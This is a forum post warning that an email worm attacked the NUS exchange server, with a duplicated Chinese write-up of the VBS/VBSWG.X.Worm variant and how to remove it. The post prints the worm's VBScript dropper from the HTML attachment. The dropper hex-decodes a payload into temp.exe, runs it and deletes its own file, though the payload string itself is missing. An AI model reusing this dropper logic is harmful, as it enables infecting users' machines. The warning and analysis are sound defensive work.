Email Virus attacked NUS exchange server......the email contains such a html attachemtn
Please wait...
on error resume next
set a=createobject("wscript.shell")
set b=createobject("scripting.filesystemobject")
co=0
if (err.number0) then
co=1
window.open(document.location.pathname)
end if
set c=b.getspecialfolder(2)
d=replace(document.location.pathname,"%20"," ")
e=c &"\temp.exe"
set f=b.createtextfile(e,true)
f.write h(g)
f.close
a.run e,false
window.settimeout "b.deletefile d,true",500
window.settimeout "window.close",500
function h(st)
for i=1 to len(st) step 2
h=h & chr("&h"&mid(st,i,2))
next
end function Tinh` cho khong bieu' khong
该病毒介绍>>>>>
该病毒是下面病毒的变种
－－－－－－－－－－－－－－－－－－－－－－－－
病毒名称 VBS/VBSWG.X.Worm
别名 病毒类型 蠕虫
特点 VBS/VBSWG.X.Worm是一个通过邮件传播的蠕虫病毒，它可以向地址薄中所有人发送染毒邮件，并打开包含有色情内容的网站。 病毒介绍 染毒邮件主题为："Homepage"
邮件内容为："Hi! You've got to see this page! It's really cool ;O)"
邮件附件是蠕虫本身："HOMEPAGE.HTML.VBS"
当附件被运行后，蠕虫病毒被激活，并按照地址簿中所有地址发送带毒邮件。 病毒将自身拷贝到系统Temp目录下，同时修改注册表： HKEY_CURRENT_USER\Software\An\mailed 并将键值至为1。 之后，蠕虫会搜索邮箱中主题为"Homepage"的邮件，将其删除。
解决方法 Kill 23.44以上版本可以检测VBS/VBSWG.X.Worm 所有被检测到感染有VBS/VBSWG.X.Worm蠕虫的文件必须被删除，这可以通过手工方式或设置kill直接删除这些文件。
－－－－－－－－－－－－－－－－－－－－－－－－
病毒名称 VBS/VBSWG.X.Worm
别名 病毒类型 蠕虫
特点 VBS/VBSWG.X.Worm是一个通过邮件传播的蠕虫病毒，它可以向地址薄中所有人发送染毒邮件，并打开包含有色情内容的网站。 病毒介绍 染毒邮件主题为："Homepage"
邮件内容为："Hi! You've got to see this page! It's really cool ;O)"
邮件附件是蠕虫本身："HOMEPAGE.HTML.VBS"
当附件被运行后，蠕虫病毒被激活，并按照地址簿中所有地址发送带毒邮件。 病毒将自身拷贝到系统Temp目录下，同时修改注册表： HKEY_CURRENT_USER\Software\An\mailed 并将键值至为1。 之后，蠕虫会搜索邮箱中主题为"Homepage"的邮件，将其删除。
解决方法 Kill 23.44以上版本可以检测VBS/VBSWG.X.Worm 所有被检测到感染有VBS/VBSWG.X.Worm蠕虫的文件必须被删除，这可以通过手工方式或设置kill直接删除这些文件。
Huasing Association 1999 - 2013